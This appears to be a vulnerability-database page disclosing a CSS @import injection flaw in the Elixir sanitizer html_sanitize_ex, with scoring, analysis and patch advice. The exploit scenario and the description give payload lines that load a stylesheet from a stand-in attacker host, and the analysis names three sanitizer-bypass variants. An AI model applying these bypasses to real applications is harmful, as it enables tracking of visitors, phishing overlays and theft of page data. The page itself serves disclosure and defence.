Skip to main content

html_sanitize_ex CVE-2026-68747

| EUVDEUVD-2026-54083 LOW
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-08-06 EEF GHSA-g72r-5wgp-6532
2.3
CVSS 4.0 · Vendor: EEF
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts @import CSS payload
  2. Delivery
    Submits as user-generated content
  3. Exploit
    Application scrubs with html_sanitize_ex
  4. Install
    @import passes scrubber uninspected
  5. C2
    Sanitized output stored and served
  6. Execute
    Victim's browser parses injected @import
  7. Impact
    Browser fetches attacker-controlled stylesheet
  8. Step 8
    UI manipulation or visitor fingerprinting achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires three conditions to hold simultaneously: (1) the application uses html_sanitize_ex in versions 0.3.1 through 1.5.3; (2) untrusted users can submit content that is processed by HtmlSanitizeEx.Scrubber.CSS.scrub/1 and subsequently rendered inside a <style> element visible to other users - meaning the application's content model permits user-supplied CSS rather than only HTML with inline styles; and (3) at least one other user views the page containing the injected @import. The CVSS 4.0 vector's AT:P metric formally captures condition (2) as an attack prerequisite beyond the attacker's control. Limiting factors are significant: the injected content is strictly confined within the <style> element by HTML element-boundary resolution that occurs before the scrubber runs, so no HTML injection or script execution is possible; the impact is limited to CSS rendering in victims' browsers. Applications that do not accept user-controlled CSS input, that strip <style> blocks entirely, or that render user content only in sandboxed iframes are not affected.

Impact

The CVSS 4.0 score of 2.3 (SC:L/SI:L/SA:N) is broadly accurate: injected CSS is confined to the <style> element, no JavaScript executes, and there is no direct server-side compromise. However, this score may understate application-layer risk for sites that permit user-supplied CSS. An attacker-controlled remote stylesheet can passively fingerprint all visitors via resource-load requests, manipulate UI layout to facilitate phishing, and in some frontend frameworks exploit CSS attribute-selector exfiltration to extract sensitive DOM content. The CVSS 4.0 AT:P metric correctly captures the attack prerequisite - the attacker must be able to submit content processed by the CSS scrubber and rendered in a <style> tag visible to other users - which meaningfully limits the exposed attack surface. No CISA KEV listing exists and no public proof-of-concept exploit has been identified, so this is not a mass-exploitation scenario. Priority should be highest for applications that allow untrusted users to supply raw CSS content; applications that strip <style> tags or do not expose CSS input are unaffected. EPSS data was not provided in the input.

Exploit ScenarioDerived

An attacker submits a post or comment to a Phoenix or Elixir web application containing <style>@import url(//attacker.example/steal.css);</style>. The application passes the content through html_sanitize_ex, which strips disallowed HTML tags and properties but leaves the @import rule untouched because it matches no property: value pattern. When a victim views the page, their browser silently fetches the attacker-controlled stylesheet, logging the victim's IP and user-agent and potentially applying CSS rules that overlay phishing content or extract data via attribute selectors. No public exploit code has been identified at time of analysis.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 06, 2026

CSS at-rule injection in html_sanitize_ex (Elixir, versions 0.3.1-1.5.3) allows unauthenticated remote users to embed @import directives that survive sanitization and are rendered in other users' browsers. The HtmlSanitizeEx.Scrubber.CSS.scrub/1 function applied its allowlist exclusively to property: value declaration patterns; @import at-rules, which are syntactically distinct, were never inspected and passed through verbatim. Three distinct bypass paths existed: bare @import url(...), no-whitespace @import"url", and CSS hex-escaped @\69 mport. No public exploit code is identified at time of analysis; a vendor patch is available as version 1.5.4.

RemediationAI

Upgrade html_sanitize_ex to version 1.5.4 or later by updating the version constraint in mix.exs and running mix deps.update html_sanitize_ex. The fix is confirmed in commit 0b9f9ad63a7529d4f2c3c1134c371adc3e654308 (https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308) and the full advisory is at https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7. If an immediate upgrade is not feasible, the most targeted compensating control is to disallow <style> tags in user-submitted content entirely at the application layer before sanitization; this eliminates the injection surface but removes inline CSS support. A narrower alternative is to strip any text beginning with @ inside style content at the application layer, though this is fragile and should be treated as a temporary measure only. There is no known workaround that preserves full CSS functionality while reliably blocking all three bypass variants without applying the patch.

Affected VersionsENISA

html_sanitize_ex 0.3.1 <1.5.4
html_sanitize_ex 21f90012eb21aa36f4e3701b7547e12faf0f3c8b <0b9f9ad63a7529d4f2c3c1134c371adc3e654308

Affected Packages

euvd html_sanitize_ex fix: 1.5.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in HtmlSanitizeEx.Scrubber.CSS (lib/html_sanitize_ex/scrubber/css.ex), an Elixir module that sanitizes inline CSS by running Regex.replace over substrings matching the property: value declaration pattern and allowlisting only recognized properties and values. Because CSS @import at-rules follow the grammar @import url(...); - not a declaration - they fall entirely outside the regex match window and are copied unchanged to output. CWE-74 (Injection) applies: the library fails to neutralize special CSS constructs before forwarding sanitized text to the browser's CSS parser. Two additional bypass vectors existed: the old strip-import regex required at least one whitespace character (\@import\s+), so @import"url" with no space was not caught, and CSS hex escape sequences (e.g., @\69 mport where \69 decodes to i) were not decoded before pattern matching. The fix in commit 0b9f9ad introduces a decode_escaped_characters/1 pre-pass using a \([0-9A-Fa-f]{1,6}) regex, moves remove_imports/1 outside the property-value loop so it operates on the full CSS text, and relaxes the import-strip regex to \@import\s* (zero or more spaces). CPE: cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*.

Know when Html Sanitize Ex gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (EEF) PRIMARY 2.3 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered injection requiring no privileges, but a second user must view the output (UI:R); impact is scoped to victims' browsers with low CSS-mediated confidentiality and integrity effects (S:C, C:L, I:L).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (EEF).

CVSS VectorVendor: EEF

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.

This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.

Threat Intelligence Overview

EPSS Score
0.4%
Top 64% exploitable
Prevalence
Low
niche Elixir library, footprint limited to Elixir/Phoenix applications
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

12
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +12
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy